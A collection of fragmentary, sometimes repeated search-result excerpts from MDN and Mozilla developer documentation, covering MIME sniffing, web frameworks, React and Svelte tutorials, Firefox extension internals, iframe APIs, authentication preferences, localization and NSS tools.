...ko 1.9.1.11 (firefox 3.5.11) and gecko 1.9.2.5 (firefox 3.6.5) also implement this security fix, but to improve compatibility, there was a temporary heuristic that allows the load if the first line in the style sheet appears to be a well-formed css construct; the heuristic has been removed in firefox 4, and you have to properly set the text/css mime types to have your css pages recognized. why browsers should not guess mime types apart from violating the http specification, it is a bad strategy for browsers to guess mime types for the following reasons: loss of control if the browser ignores the reported mime type, web administrators and authors no longer have control over how their content is to be processed. for example, a web site oriented for web developers might wish to send certain...
...ns: loss of control if the browser ignores the reported mime type, web administrators and authors no longer have control over how their content is to be processed. for example, a web site oriented for web developers might wish to send certain example html documents as either text/html or text/plain in order to have the documents either processed and displayed as html or as source code. if the browser guesses the mime type, this option is no longer available to the author. security some content types, such as executable programs, are inherently unsafe. for this reason these mime types are usually restricted in terms of what actions a web browser will take when given content of that type. an executable program should not be executed on the user's computer and at most should cause a dialog t...
Server-side web frameworks - Learn web development
with this knowledge under our belt, it's time to explore how web frameworks can simplify these tasks, and give you an idea of how you'd choose a framework for your first server-side web application. ...
...velopment operations. you don't have to use a server-side web framework, but it is strongly advised — it will make your life a lot easier. this section discusses some of the functionality that is often provided by web frameworks (not every framework will necessarily provide all of these features!). work directly with http requests and responses as we saw in the last article, web servers and browsers communicate via the http protocol — servers wait for http requests from the browser and then return information in http responses. web frameworks allow you to write simplified syntax that will generate server-side code to work with these requests and responses. this means that you will have an easier job, interacting with easier, higher-level code rather than lower level networking primitive...
...dispatching. it has good documentation and an active community. flask has become extremely popular, particularly for developers who need to provide web services on small, resource-constrained systems (e.g. running a web server on a raspberry pi, drone controllers, etc.) express (node.js/javascript) express is a fast, unopinionated, flexible and minimalist web framework for node.js (node is a browserless environment for running javascript). it provides a robust set of features for web and mobile applications and delivers useful http utility methods and middleware. express is extremely popular, partially because it eases the migration of client-side javascript web programmers into server-side development, and partially because it is resource-efficient (the underlying node environment uses l...
...o fill in some of the loop-holes in node.js by providing a mechanism that naturally maintains better security. deno's features include: security by default. deno modules restrict permissions to file, network, or environment access unless explicitly allowed. typescript support out-of-the-box. first-class await mechanism. built-in testing facility and code formatter (deno fmt) (javascript) browser compatibility: deno programs that are written completely in javascript excluding the deno namespace (or feature test for it), should work directly in any modern browser. script bundling into a single javascript file. deno provides an easy yet powerful way to use javascript for both client- and server-side programming. ruby on rails (ruby) rails (usually referred to as "ruby on rails") is a...
React interactivity: Editing, filtering, conditional rendering - Learn web development
— defined inside two separate constants. this means that the return statement of <todo /> is now repetitious — it also contains a definition of the "view" template. we can clean this up by using conditional rendering to determine which template the component returns, and is therefore rendered in the ui. conditional rendering in jsx, we can use a condition to change what is rendered by the browser. to write a condition in jsx, we can use a ternary operator. in the case of our <todo /> component, our condition is "is this task being edited?" change the return statement inside todo() so that it reads like so: return <li classname="todo">{isediting ? editingtemplate : viewtemplate}</li>; your browser should render all your tasks just like before. to see the editing template, you will hav...
...ask(props.id, newname); setnewname(""); setediting(false); } remember that our edittask() callback prop needs the id of the task we're editing as well as its new name. bind this function to the form’s submit event by adding the following onsubmit handler to the editingtemplate's <form>: <form classname="stack-small" onsubmit={handlesubmit}> you should now be able to edit a task in your browser! back to the filter buttons now that our main features are complete, we can think about our filter buttons. currently, they repeat the "all" label, and they have no functionality! we will be reapplying some skills we used in our <todo /> component to: create a hook for storing the active filter. render an array of <filterbutton /> elements that allow users to change the active filter betw...
...you should see that the different buttons have been given their respective names. when you press a filter button, you should see its text take on a new outline — this tells you it has been selected. and if you look at your devtool’s page inspector while clicking the buttons, you'll see the aria-pressed attribute values change accordingly. however, our buttons still don't actually ...
...={task.id} toggletaskcompleted={toggletaskcompleted} deletetask={deletetask} edittask={edittask} /> )); in order to decide which callback function to use in array.prototype.filter(), we access the value in filter_map that corresponds to the key of our filter state. when filter is all, for example, filter_map[filter] will evaluate to () => true. choosing a filter in your browser will now remove the tasks that do not meet its criteria. the count in the heading above the list will also change to reflect the list! summary so that's it — our app is now functionally complete. however, now that we’ve implemented all of our features, we can make a few improvements to ensure that a wider range of users can use our app. our next article rounds things off for our react t...
Getting started with Svelte - Learn web development
objective: to setup a local svelte development environment, create and build a starter app, and understand the basics of how it works. svelte: a new approach to building rich user interfaces svelte provides a different approach to building web apps than some of the other frameworks covered in this module. while frameworks like react and vue do the bulk of their work in the user's browser while the app is running, svelte shifts that work into a compile step that happens only when you build your app, producing highly-optimized vanilla javascript. the outcome of this approach is not only smaller application bundles and better performance, but also a developer experience that is more approachable for people that have limited experience of the modern tooling ecosystem. svelte stic...
...this is much quicker than using git clone because it will not download all the history of the repo, or create a complete local clone. after running npm run dev, svelte will compile and build your application. it will start a local server at localhost:5000. svelte will watch for file updates, and automatically recompile and refresh the app for you when changes are made to the source files. ...
... max-width: none; } } </style> we are applying a style to our <h1> element. what will happen other components with <h1> elements in them? in svelte, css inside a component's <style> block will be scoped only to that component. this works by adding a class to selected elements, which is based on a hash of the component styles. you can see this in action by opening localhost:5000 in a new browser tab, right/ctrl-clicking on the hello world! label, and choosing inspect: when compiling the app, svelte changes our h1 styles definition to h1.svelte-1tky8bj, and then modifies every <h1> element in our component to <h1 class="svelte-1tky8bj">, so that it picks up the styles as required. note: you can override this behavior and apply styles to a selector globally using the :global(...) mo...
...e easiest way to start playing with svelte from any machine, without having to install anything. it is also widely used by svelte community. if you want to share an idea, ask for help, or report an issue, it's always extremely useful to create a repl instance demomstrating the issue. let's have a quick look at the svelte repl and how you'd use it. it looks like so: to start a repl, open your browser and navigate to https://svelte.dev/repl. on the left side of the screen you'll see the code of your components, and on the right you'll see the running output of your app. the bar above the code lets you create .svelte and .js files and rearrange them. to create a file inside a folder just specify the complete pathname, like this — components/mycomponent.svelte. the folder will be automat...
Package management basics - Learn web development
dency that your project might need is some code to calculate relative dates as human-readable text. you could certainly code this yourself, but there's a strong chance that someone else has already solved this problem — why waste time reinventing the wheel? moreover, a reliable third-party dependency will likely have been tested in a lot of different situations, making it more robust and cross-browser compatible than your own solution. a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in previous articles. without modern build tools, dependencies like this might be included in your project using a s...
... likely need some modern tooling to bundle your code and dependencies together when they are released on the web. a bundle is the term that’s generally used to refer to a single file on your web server that contains all the javascript for your software — typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors’ browser. in addition, what happens if you find a better tool that you want to use instead of the current one, or a new version of your dependency is released that you want to update to? this is not too painful for a couple of dependencies, but in larger projects with many dependencies this kind of thing can become really challenging to keep track of. it makes more sense to use a package manager such a...
...he right thing for you. in this case, the bundle is nearly 200k because it has in fact included the entire date-fns library, not just the function we're using. if we had avoided any development tools and pointed a <script src=””> element to a hosted version of date-fns, roughly the same thing would have happened — all of the library would be downloaded when our example page is loaded in a browser. however, this is where development tooling has a chance to shine. whilst the tooling is on our machine, we can ask the software to inspect our use of the code and only include the functions that we're actually using in production — a process known as "tree shaking". this makes a lot of sense as we want to reduce file size and thus make our app load as quickly as possible. different tooling...
...shine. whilst the tooling is on our machine, we can ask the software to inspect our use of the code and only include the functions that we're actually using in production — a process known as "tree shaking". this makes a lot of sense as we want to reduce file size and thus make our app load as quickly as possible. different tooling will let you tree shake in different ways. although the list grows by the month, there are three main offerings for tools that generate bundles from our source code: webpack, rollup, and parcel. there will be more available than this, but these are popular ones: the rollup tool offers tree shaking and code splitting as it’s core features. webpack requires some configuration (though “some” might be understating the complexity of some developers’ webpa...
Accessibility API cross-reference
on. alert alert alert alert, alertdialog content changes over time, such as animated gif animation n/a no spec n/a a section that forms an independent part of a document, page, or site. article <article> <part> or <art> object representing entire app. aria role denotes interactive (not browsable) content operable in ways that differ from any of the other interactive aria roles, and may be only a part of the main document. application frame n/a application see <div> and <nonstruct> a region that contains mostly site-oriented content, rather than page-specific content. banner a portion of quoted content which i...
...links in such a table). for an index, use <index> with a <l>(list) inside. no default semantics in html, but semantics and other accessibility features may be provided with aria. see also span n/a n/a n/a <div> <div> but if you need custom semantic structure, use <nonstruct> instead window that corresponds to an mdi document. ...
...rk region that contains a collection of items and objects that, as a whole, combine to create a form. form <form> presumably msaa's graphic is aria's and html's img? graphic n/a n/a img <img> a cell in a grid or treegrid. grid a composite widget containing a collection of one or more rows with one or more cells where some or all cells in the grid are focusable by using methods of two-dimensional navigation, such as directional arrow keys, e.g. a spreadsheet. gridcell a type of mouse pointer used for resizing windows grip n/a n/a n/a probably a group box (titledbox in mozilla) grouping panel panel...
... n/a n/a treegrid if you're using more than one consecutive whitespace element in html, you're doing it wrong. (use css instead). screen readers often announce this as "blank" or similar, which is usually noise, rather than content. whitespace filler filler n/a &nbsp; <br> ...
Frequently Asked Questions for Lightweight themes
introducing lightweight themes what are lightweight themes? lightweight themes are easy-to-install, easy-to-use skins that change the look of your firefox web browser. there are hundreds of thousands community-designed themes to choose from, with more added every day. start looking here for designs that fit your style. what kind of computers and operating systems do lightweight themes work with? lightweight themes work with any type of computer that has firefox installed. this includes mac, linux, windows, and android platforms. what can lightweight themes do? lightweight themes change the header area of your browser, including the tab text color and the background tab colors. you can easily preview a design and install it without needing to restart. installing lightweight themes ho...
...once a theme is installed, it is saved in the add-ons manager, where you can enable or disable them as you wish. ...
...once a theme is installed, it is saved in the add-ons manager, where you can enable or disable them as you wish. simply go to the tools > add-ons menu and click on the appearance tab. are lightweight themes free? yes. themes are free to download and free to use. ...
...imply go to the tools > add-ons menu and click on the appearance tab. are lightweight themes free? yes. themes are free to download and free to use. using lightweight themes how do i change my current lightweight theme? there are two easy ways to change your theme. you can either: visit the gallery, choose your favorite theme, and click on your choice to instantly change the look of your browser. once a theme is installed, it is saved in the add-ons manager, where you can enable or disable them as you wish. simply go to the tools > add-ons menu and click on the appearance tab. how do i undo a lightweight theme? to undo the design you most recently selected, go to tools > add-ons in the menu bar and select the themes tab. next to the theme you want to undo, click the disable button.
Chrome registration
a locates and reads the root chrome.manifest file for extensions and themes. note: with gecko 1.9.2 and older, mozilla reads chrome/*.manifest files from applications. starting with gecko 2.0, the root chrome.manifest is the only manifest used; you can add manifest commands to that file to load secondary manifests. chrome providers a supplier of chrome for a given window type (e.g., for the browser window) is called a chrome provider. the providers work together to supply a complete set of chrome for a particular window, from the images on the toolbar buttons to the files that describe the text, content, and appearance of the window itself. there are three basic types of chrome providers: content the main source file for a window description comes from the content provider, and it ca...
...lar application. the flag application=app-id indicates that the instruction should only be applied if the extension is installed into the application identified by app-id. multiple application flags may be included on a single line, in which case the line is applied if any of the flags match. ...
... the flag application=app-id indicates that the instruction should only be applied if the extension is installed into the application identified by app-id. multiple application flags may be included on a single line, in which case the line is applied if any of the flags match. ...
...mple chrome manifest content necko jar:comm.jar!/content/necko/ locale necko en-us jar:en-us.jar!/locale/necko/ content xbl-marquee jar:comm.jar!/content/xbl-marquee/ content pipnss jar:pipnss.jar!/content/pipnss/ locale pipnss en-us jar:en-us.jar!/locale/pipnss/ # firefox-only overlay chrome://browser/content/pageinfo.xul chrome://pippki/content/pageinfooverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384} # seamonkey-only overlay chrome://navigator/content/pageinfo.xul chrome://pippki/content/pageinfooverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://communicator/content/pref/preftree.xul chrome://pippki/content/prefoverlay.xul content...
Creating a Firefox sidebar
firefox users: the social api and an extension. you can choose either depending on your needs and resources. an extension an extension is a kind of add-ons that adds new functionalities to firefox. there is a wide range of extensions available, and some of them provide a sidebar. such kind of sidebar can be a simple web panel or a full-featured extension that is completely integrated with the browser. there are some ways to create an extension: the new sidebar api has been implemented in firefox 29 as part of the add-on sdk. it's the easiest way to create an extension with a sidebar.obsolete since gecko 57 you can also build a restartless extension yourself without the sdk. a sample extension to add a web panel is available as a starter.obsolete since gecko 57 if you'd like to have a d...
...reate an extension: the new sidebar api has been implemented in firefox 29 as part of the add-on sdk. it's the easiest way to create an extension with a sidebar.obsolete since gecko 57 you can also build a restartless extension yourself without the sdk. a sample extension to add a web panel is available as a starter.obsolete since gecko 57 if you'd like to have a deeper integration with the browser to offer more complex features, a traditional overlay extension can be an option. the document might be obsolete, though.obsolete since gecko 57 the social api obsolete since gecko 57 (firefox 57 / thunderbird 57 / seamonkey 2.54)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this...
...try to avoid using it. as of firefox 23, the addpanel and addpersistentpanel functions have been removed from the deprecated, netscape-derived window.sidebar object. ...
...y to avoid using it. ...
Obsolete Build Caveats and Tips
u download version 7.1 of the windows 7 sdk (which is the current version available), your build will fail, often while building cairo with "ocidl.h" errors. in order to fix this issue, you need to use the latest version of mozillabuild. windows vista sdk obsolete since gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this is the sdk that mozilla-1.9.1 (firefox 3.5) builds used to be built against. features that depend on this sdk include: windows vista parental controls file associations and application registration on vista and above ability to display the uac shield icon in the ui thunderbird windows search integ...
...ework 2.0 installed before installing the vista sdk. use visual studio 2008 professional. gecko 1.9.2 through 11: if you would like to use this sdk, add ac_add_options --with-windows-version=600 to your .mozconfig. windows server 2003 r2 platform sdk obsolete since gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this is your only option if you're on windows 2000. this also used to be necessary for building a default gecko 1.9.2 through 8 with visual c++ express editions (see atlbase.h for more). you can download the sdk from the microsoft download center. you need to install at least the "windows core sdk", "web...
...), and you will probably also need to set at least some of the other basic configuration options (such as whether to build a debug build or not) to get the type of build that you need. if you are building from an older project branch that still uses cvs, you will need to set moz_co_project to the appropriate value or values, using a comma-separated list, such as "mk_add_options moz_co_project=browser,mail,calendar,suite,xulrunner". this setting is ignored by most mozilla project branches, which now use mercurial instead of cvs for source control. note: starting in gecko 2.0, objdir builds are enabled by default. if you do not specify a moz_objdir it will be automatically set to @topsrcdir@/obj-@config_guess@ alternatively, you can run client.mk directly from your objdir, using make -...
...tead of cvs for source control. note: starting in gecko 2.0, objdir builds are enabled by default. if you do not specify a moz_objdir it will be automatically set to @topsrcdir@/obj-@config_guess@ alternatively, you can run client.mk directly from your objdir, using make -f <path_to_srcdir>/client.mk. note: starting in gecko 5.0, if you don't specify an application, --enable-application=browser is assumed, thereby building firefox. ...
Frame script loading and lifetime
loading frame scripts to load a frame script use the loadframescript() function. this line of code loads a frame script into the currently selected tab. the script just writes "foo" to the command line: // chrome script var mm = gbrowser.selectedbrowser.messagemanager; mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame. chrome: urls extension developers usually use a chrome:// url to refer to the frame scripts. to define the mapping between a chrome:// url and a fra...
...escript() call. for example: var mm = window.messagemanager; mm.loadframescript("chrome://my-e10s-extension/content/frame-script.js", true); the script will be loaded into all tabs currently open in this window, and all new tabs opened afterwards. if allowdelayedload is false, the script will only be loaded into frames which are open when the call was made. if the message manager is a browser message manager, you should always pass true here. because a browser message manager only corresponds to a single browser tab, its loadframescript() function will only ever load the frame script into that one tab. passing allowdelayedload is a way to ensure that the script is loaded correctly, in case the tab is not ready when making the call. if you use allowdelayedload, you can cancel it by ...
...xtension/content/frame-script.js"); this means we will stop loading the script into new tabs. note that this function will not remove any scripts which have been loaded earlier. frame script lifetime frame scripts are loaded as soon as loadframescript() is called. if you've set allowdelayedload, the script is loaded into a new tab as soon as it is created. frame scripts are associated with a browser tab and not with a page. so once you load them, they will stay loaded until the tab is closed, even if you reload the document or navigate. if you want to limit a script to the lifetime of a page you can create a sandbox instead, where the current content page is used as prototype. if you want a frame script to do something when a new document is loaded, you need to listen for an appropriate d...
... frame scripts. the new frame scripts receive the "disable" message and stop working. in fact, the message manager guarantees that loadframescript and broadcastasyncmessage are guaranteed to affect frame scripts in the order that they are called, so in this case "disable" will be received and consumed before the new frame scripts are loaded. at the moment, frame scripts are cached until the browser restarts: this problem is tracked as bug 1051238. this is a problem especially for restartless add-ons; because when a new version of the add-on is installed, the old frame scripts will not be unloaded. the workaround is to randomize the frame script's url; for example, by appending "?" + math.random(). ...
HTMLIFrameElement.executeScript()
syntax var mydomrequest = instanceofhtmliframeelement.executescript(script, options); return value a domrequest object that returns an onsuccess handler if the script is successfully executed against the loaded content, or an onerror handler if not. ...
... syntax var mydomrequest = instanceofhtmliframeelement.executescript(script, options); return value a domrequest object that returns an onsuccess handler if the script is successfully executed against the loaded content, or an onerror handler if not. ...
...t. it's recommended that you include an origin or url, in order to ensure that the script is being executed in the expected context: origin: an origin, e.g. http://example.com url: a url, e.g. http://example.com/index.html note: the options parameter does not currently seem to have much effect. the script seems to execute even if a url/origin is specified. ...
...om url: a url, e.g. http://example.com/index.html note: the options parameter does not currently seem to have much effect. the script seems to execute even if a url/origin is specified. examples var request1 = browser.executescript( var a = 3; a + 3 , {url: 'http://example.com/index.html'}); request1.onsuccess = function() { console.log(request1.result); // 6 } var request2 = browser.executescript( new promise((resolve, reject) => { settimeout(function() { resolve(6); }, 1000}) ) , {origin: 'http://example.com'}); request2.onsuccess = function() { console.log(request2.result); // 6 } if the script value is a not a promise, it is simply returned as the request value. if the script value is a promise, the result of the request will be the promise-resolve...
HTMLIFrameElement.getMuted()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the getmuted() method of the htmliframeelement indicates whether the browser <iframe> is currently muted. syntax there are two versions of this method, a callback version: var request = instanceofhtmliframeelement.getmuted(); and a promise version: instanceofhtmliframeelement.getmuted().then(function(muted) { ... }); returns callback version: a domrequest that represents the get muted request. it has an onsuccess handler to handle the success case, and an onerror handler to handle the failure...
...s handler to handle the success case, and an onerror handler to handle the failure case. the muted value is available in the request.result property, and is a boolean value — true means muted, and false means unmuted. promise version: a promise that resolves with the muted value — a boolean where true means muted, and false means unmuted. parameters none. ...
...r to handle the failure case. the muted value is available in the request.result property, and is a boolean value — true means muted, and false means unmuted. promise version: a promise that resolves with the muted value — a boolean where true means muted, and false means unmuted. parameters none. ...
...a boolean value — true means muted, and false means unmuted. promise version: a promise that resolves with the muted value — a boolean where true means muted, and false means unmuted. parameters none. example callback version: var browser = document.queryselector('iframe'); var request = browser.getmuted(); request.onsuccess = function() { if(request.result) { console.log('the browser is muted.'); } else { console.log('the browser is unmuted.'); } } promise version: var browser = document.queryselector('iframe'); browser.getmuted().then(function(muted) { if(muted) { console.log('the browser is muted.'); } else { console.log('the browser is unmuted.'); } }); specification not part of any specification. ...
HTMLIFrameElement.purgeHistory()
syntax there is a domrequest version and a promise version: var mydomrequest = instanceofhtmliframeelement.purgehistory(); instanceofhtmliframeelement.purgehistory().then(function() { ... }); returns either a domrequest object that returns an onsuccess handler if the history is deleted, or an onerror handler if not. ...
...ydomrequest = instanceofhtmliframeelement.purgehistory(); instanceofhtmliframeelement.purgehistory().then(function() { ... }); returns either a domrequest object that returns an onsuccess handler if the history is deleted, or an onerror handler if not. a promise that resolves, with no parameters, if the history is deleted, or rejects if not. parameters none. ...
... instanceofhtmliframeelement.purgehistory().then(function() { ... }); returns either a domrequest object that returns an onsuccess handler if the history is deleted, or an onerror handler if not. a promise that resolves, with no parameters, if the history is deleted, or rejects if not. parameters none. ...
...error handler if not. a promise that resolves, with no parameters, if the history is deleted, or rejects if not. parameters none. examples domrequest: var browser = document.queryselector('iframe'); var request = browser.purgehistory(); request.onsuccess = function() { console.log('history deleted!'); } request.onerror = function() { console.error(this.error.name); } promise: var browser = document.queryselector('iframe'); browser.purgehistory().then(function() { console.log('history deleted!'); }, function(error) { console.error(this.error.name); }); specification not part of any specification. ...
Script security
gecko has an additional problem, though: while its core is written in c++, the front-end code is written in javascript. ...
...ly hostile web pages and run it on the user's computer. the security model for web content is based on the same-origin policy, in which code gets full access to objects from its origin but highly restricted access to objects from a different origin. ...
...however, javascript is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web content. ...
...ains a single content principal. thus ["http://moz.org"] subsumes "http://moz.org" but not vice versa. the expanded principal gets full access to the content principals it contains, with xray vision by default, and the content principals get no access to the expanded principal. this also enables the script security model to treat compartments that have expanded principals more like part of the browser than like web content. this means, for example, that it can run when javascript is disabled for web content. expanded principals are useful when you want to give code extra privileges, including cross-origin access, but don't want to give the code full system privileges. for example, expanded principals are used in the add-on sdk to give content scripts cross-domain privileges for a predefined...
Integrated Authentication
diagram below shows how various components interact. configuration by default, mozilla rejects all spnego challenges from a web server. this is to protect the user from the possibility of dns-spoofing being used to stage a man-in-the-middle exploit (see bug 17578 for more info). moreover, with windows clients ntlm may be negotiated as the authentication protocol. so, it is paramount that the browser does not freely exchange ntlm user credentials with any server that requests them. the ntlm response includes a hash of the user's logon credentials. on older versions of windows this hash is computed using a relatively weak algorithm (see hertel for more info on ntlm authentication). mozilla currently supports a whitelist of sites that are permitted to engage in spnego authentication with the...
... does not freely exchange ntlm user credentials with any server that requests them. the ntlm response includes a hash of the user's logon credentials. on older versions of windows this hash is computed using a relatively weak algorithm (see hertel for more info on ntlm authentication). mozilla currently supports a whitelist of sites that are permitted to engage in spnego authentication with the browser. this list is intended to be configured by an it department prior to distributing mozilla to end-users. the preferences are: pref("network.negotiate-auth.trusted-uris", site-list); pref("network.negotiate-auth.delegation-uris", site-list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of url prefixes or domains of the form: site-lis...
...network.automatic-ntlm-auth.trusted-uris lists the trusted sites to use ntlm authentification. if you wish to use non-fully-qualified entries of the form mydomain.com in the above preferences for ntlm and spnego authentication, you will also need to set the preferenc...
...ref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for which the browser may delegate user authorization to the server. network.automatic-ntlm-auth.trusted-uris lists the trusted sites to use ntlm authentification. if you wish to use non-fully-qualified entries of the form mydomain.com in the above preferences for ntlm and spnego authentication, you will also need to set the preferences network.automatic-ntlm-auth.allow-non-fqdn and network.negotiate-auth.allow-non...
Assert.jsm
undefined ok(value, message); undefined equal(actual, expected, message); undefined notequal(actual, expected, message); undefined deepequal(actual, expected, message); undefined notdeepequal(actual, expected, message); undefined strictequal(actual, expected, message); undefined notstrictequal(actual, expected, message); undefined throws(block, expected, message); promise rejects(promise, expected, message); undefined greater(lhs, rhs, message); undefined greaterorequal(lhs, rhs, message); undefined less(lhs, rhs, message); undefined lessorequal(lhs, rhs, message); undefined setreporter(reporterfunc); undefined report(failed, actual, expected, message, operator); ...
..., message); undefined less(lhs, rhs, message); undefined lessorequal(lhs, rhs, message); undefined setreporter(reporterfunc); undefined report(failed, actual, expected, message, operator); constructor creates a new assert object. let assert = new assert(reporterfunc); the new assert instance, assert, uses reporterfunc to report assertion results or throws an assertionerror when an assertion fails, as default behavior. ok, equal, notequal, deepequal, notdeepequal, strictequal, notstrictequal, throws, setreporter, report methods ok() pure assertion tests whether a value is truthy, as determined by !!guard. this statement is equivalent to assert.equal(true, !!guard, message_opt);. to test strictly for the value true, use assert.strictequal(true,...
...planation of the expected result notstrictequal() the strict non-equality assertion tests for strict inequality, as determined by !==. undefined notstrictequal( actual, expected, message ); parameters actual test subject to be evaluated as not strictly equivalent to expected expected test reference to evaluate against actual message short explanation of the expected result throws() expected to throw an error. undefined throws( block, expected, message ); parameters block function block to evaluate and catch eventual thrown errors expected test reference to evaluate against the thrown result from block message short explanation of the expected result rejects() expected to reject a promise. returns a promise that resolves when the promise either resolve...
...essage describing the assertion stack stack trace of the assertion function. report() all of the aforementioned functions must throw an assertionerror when a corresponding condition is not met, with a message that may be undefined if not provided. all assertion methods provide both the actual and expected values to the assertion error for display purposes. this report method only throws errors on assertion failures, as per spec, but consumers of this module (think: xpcshell-test, mochitest) may want to override this default implementation. undefined report( failed, actual, expected, message, operator ); parameters failed indicates if the assertion failed or not actual the result of evaluating the assertion expected expected result from the test author messa...
Localization and Plurals
populate the bottom box with sample uses of the word for some numbers. install pluralform checker v0.3 extension extension input it would be good to keep this list updated with all the words that need plural forms. people using the extension can then copy/paste this input. ...
...ttom box with sample uses of the word for some numbers. install pluralform checker v0.3 extension extension input it would be good to keep this list updated with all the words that need plural forms. people using the extension can then copy/paste this input. ...
...locally to better support future rules - requires build from 2007/01/27 or later 0.3: generate a list of what numbers fall into which plural form to minimize the sample output to at most 3 of each form developing with pluralform the functionality for getting the correct plural forms is provided by a javascript module, pluralform.jsm. this module provides a couple methods for localizing to the browser's current locale as well as getting methods to localize to a desired plural rule. the latter ability of specifying a plural rule is useful for extensions because the extension doesn't necessarily have to be localized to the browser's locale. loading pluralform.jsm loading the pluralform module from javascript is simple with components.utils.import. just put the following line somewhere that w...
... localized to the browser's locale. loading pluralform.jsm loading the pluralform module from javascript is simple with components.utils.import. just put the following line somewhere that will be evaluated before you want to use pluralform. at the top of your javascript file is fine. components.utils.import("resource://gre/modules/pluralform.jsm"); methods: get these methods make use of the browser's current locale specified by chrome://global/locale/intl.properties's pluralrule value. /** * get the correct plural form of a word based on the number * * @param anum * the number to decide which plural form to use * @param awords * a semi-colon (;) separated string of words to pick the plural form * @return the appropriate plural form of the word */ string pluralform g...
QA phase
urce code: $ cd mozilla-aurora $ hg pull -u enter the following command to create the .mozconfig file: $ nano -w .mozconfig enter the following lines in your .mozconfig file: mk_add_options moz_objdir=@topsrcdir@/../firefox-build ac_add_options --disable-compile-environment ac_add_options --with-l10n-base=../l10n-central # path relative to moz_objdir ac_add_options --enable-application=[browser or mail] you will need to specify which application you're localizing in the fourth line (e.g., for firefox, that's browser, thunderbird would be mail). enter the following command to perform the configuration: $ ./mach configure once your command-line finishes spitting out the config command's output, navigate to the newly created directory: $ cd ../firefox-build/browser/locales now yo...
...ll put you one step closer to having your localization added to the l10n releases. follow the steps below to test your localization: install aurora in your preferred language. install the .xpi langpack you just created (or exported). set your language using the quick locale switcher or locale switcher add-ons by navigating to tools->language->your localization's language code. restart your browser and start testing! now you should be able to see all of your work up to this point. click here for guidelines on how to test your localization. don't lose your work! your work is so important! we would really hate to see you lose any of it. after you test your localization, you should send it to a remote repository, which will serve as a backup for your work and will let others follow your ...
...t bom (byte order mark). remember that here you are pushing an entire directory, not a .zip archive file or an .xpi lang pack. the instructions below will help you learn how to use your hg repository. after your new repository is created by the l10n-drivers, please visit the url for your repo. we'll use x-testing here for our example. you can do this by entering the following url into your browser: http://hg.mozilla.org/l10n-central/x-testing now, navigate to your locale's directory on your local machine. if you're using koala, this should be located at /path/to/your/koala.project/locale/3.6/x-testing, otherwise, it should be located at /path/to/your/working_dir/l10n_base/x-testing. in this directory, you should have an hg repository. you might have created it yourself by running hg ...
...your_id is allowed. accepted payload. quota: 979.7 kb in use, 150.0 mb available (0.64% used) your changeset has been successfully pushed to your repository! as you begin to move through your translations, you should commit the changes locally and push your work to this experimental repository. for instance, if you have finished translating all the .dtd and .properties files in your x-testing/browser/chrome/browser/ directory, then you should run these commands: $ hg status $ hg commit -m "translated browser/chrome/browser/" $ hg outgoing $ hg push http://hg.mozilla.org/l10n-central/x-testing note that due to the distributed nature of hg, hg commit saves the changes locally (i.e., in your computer's hg repository). you can see the history of commits with hg log. after doing hg commit, you...
MathML Demo: <mo> - operator, fence, separator, or accent
but they have no standar...
... a ⌆ b ⋗ c a ⨿ b ∣ c a ⊴ b ∥ c a ⊵ b ∼ c a ▽ b ≈ c a △ b ≊ c a ⋄ b ⪸ c a † b ⪷ c a ‡ b ∋ c a ⊞ b \vartriangle c arrows the following table contains instances of all arrows found on the swp arrows panel. the symbols occur in the context of a simple expression. in general, the lspace and rspace around arrows should be similar to the spacing around relations. there is an issue with the markup of "long" latex arrows in mathml. there are entities from these arrows, &xlarr; &xlarr; &xrarr; etc. but they have no standard unicodes. they can be viewed as stretched versions ...
...\longleftarrow can be scripted as <mo>&xlarr;</mo> or as <mo stretchy="true" minsize="1.8">&larr;</mo>. ...
......
Mozilla Web Services Security Model
these restrictions apply to web services. ...
...these restrictions apply to web services. ...
...these restrictions apply to web services. ...
... webscriptaccess element its root element must be a webscriptaccess element in the http://www.mozilla.org/2002/soap/security namespace. this element must have either one delegate element child or any number (0 or more) of allow element children. all of these children elements must be in the same namespace as the parent, and must be empty. the delegate element a delegate element means that the browser should delegate the access control to a web-scripts-access.xml file in the directory that the service is in. for example, when accessing a web service at http://www.example.com/dir1/dir2/service, if the access file at http://www.example.com/web-scripts-access.xml contains a delegate element, mozilla will instead use http://www.example.com/dir1/dir2/web...ipt-access.xml to determine whether acce...
NSS tools : ssltab
ascii characters. the two parts are separated by a vertical bar. nonprinting characters are replaced by dots. -f turn on fancy printing. output is printed in colored html. data sent from the client to the server is in blue; the server's reply is in red. when used with looping mode, the different connections are separated with horizontal lines. you can use this option to upload the output into a browser. -s turn on ssl parsing and decoding. the tool does not automatically detect ssl sessions. if you are intercepting an ssl connection, use this option so that the tool can detect and decode ssl structures. if the tool detects a certificate chain, it saves the der-encoded certificates into files in the current directory. the files are named cert.0x, where x is the sequence number of the certifica...
